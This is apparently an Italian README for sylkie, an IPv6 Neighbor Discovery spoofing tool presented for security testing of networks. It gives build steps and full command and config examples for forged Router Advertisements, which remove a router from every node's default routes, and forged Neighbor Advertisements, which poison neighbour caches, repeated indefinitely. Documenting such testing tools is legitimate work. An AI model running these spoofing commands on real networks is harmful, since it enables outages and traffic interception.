
Spoofing di indirizzo IPv6 con il protocollo Neighbor Discovery
sylkieUno strumento da riga di comando e libreria per testare le reti per comuni vulnerabilità di sicurezza nello spoofing degli indirizzi in reti IPv6 utilizzando il Neighbor Discovery Protocol.
Nota: Questo progetto è ancora nelle fasi iniziali dello sviluppo. Se incontri qualche problema, considera di aprire un issue. Attualmente funziona solo su Linux.
Vedi The Wiki per maggiori dettagli.
Scarica il codice e compila!
# Scarica il codice
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Compila il codice
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
Quanto segue descrive l'utilizzo base di sylkie. Esegui sylkie -h o
sylkie <sottocomando> -h per maggiori dettagli oppure consulta
Utilizzo Avanzato
per ulteriori esempi.
Nota: sylkie utilizza socket grezzi
per inviare gli annunci falsificati. Di conseguenza, l'eseguibile deve
avere il bit setuid impostato, oppure deve essere eseguito come root.
L'utilizzo base del comando router-advert è elencato di seguito. Questo
comando invierà un messaggio Router Advertisement all'IP specificato o
all'indirizzo multicast a tutti i nodi, causando la rimozione di
<ip-router>/<prefisso> dalla lista delle rotte predefinite dei nodi target.
sylkie ra -i <interfaccia> \
--target-mac <mac del router> \
--router-ip <ip del router> \
--prefix <prefisso del router> \
--timeout <tempo tra annunci> \
--repeat <numero di invii della richiesta>
Un esempio base.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Questo invierebbe un Router Advertisement "falsificato" all'indirizzo
all-nodes locale ff02::1, causando la rimozione di
fe80::b95b:ee1:cafe:9720/64 (indirizzo link-layer 52:54:00:e3:f4:06)
dalla lista delle rotte predefinite di tutti i nodi.
L'utilizzo base del comando sylkie neighbor advert è elencato di seguito. Questo comando invierà un messaggio Neighbor Advertisement falsificato all'IP specificato.
sylkie na -i <interfaccia> \
--dst-mac <indirizzo hw destinazione> \
--src-ip <ip sorgente> \
--dst-ip <ip destinazione> \
--target-ip <ip target> \
--target-mac <mac target> \
--timeout <tempo tra annunci> \
--repeat <numero di invii della richiesta>
Un esempio base
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Questo invierebbe un messaggio Neighbor Advertisement "falsificato" al dst-ip
(fe80::b95b:ee1:cafe:9720), causando l'aggiornamento dell'indirizzo hardware
nella cache dei vicini per il target-ip (fe80::61ad:fda3:3032:f6f4) con il
target-mac (52:54:00:c2:a7:7c).
I comandi sopra richiedono molte informazioni. Per semplificare la vita, sylkie
accetta anche file json e plaintext contenenti le informazioni necessarie per
iniziare a inviare gli annunci falsificati.
Il sottocomando (router-advert, neighbor-advert) è una chiave il cui
valore è un array di oggetti con chiavi e valori corrispondenti alle
opzioni e ai rispettivi valori. Per eseguire il comando, passa il
percorso del file json come argomento all'opzione -j.
Per eseguire l'esempio router-advert fornito sopra da json, crea prima
un file con il seguente contenuto.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
Dopo aver creato il file, inizia a inviare annunci con:
sylkie -j /percorso/del/json
Ogni riga del file deve essere esattamente ciò che fornisci tramite
la riga di comando, tranne il comando sylkie.
Per eseguire l'esempio neighbor-advert fornito sopra da json, crea prima
un file con il seguente contenuto.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
Dopo aver creato il file, inizia a inviare gli annunci con:
sylkie -x /percorso/del/file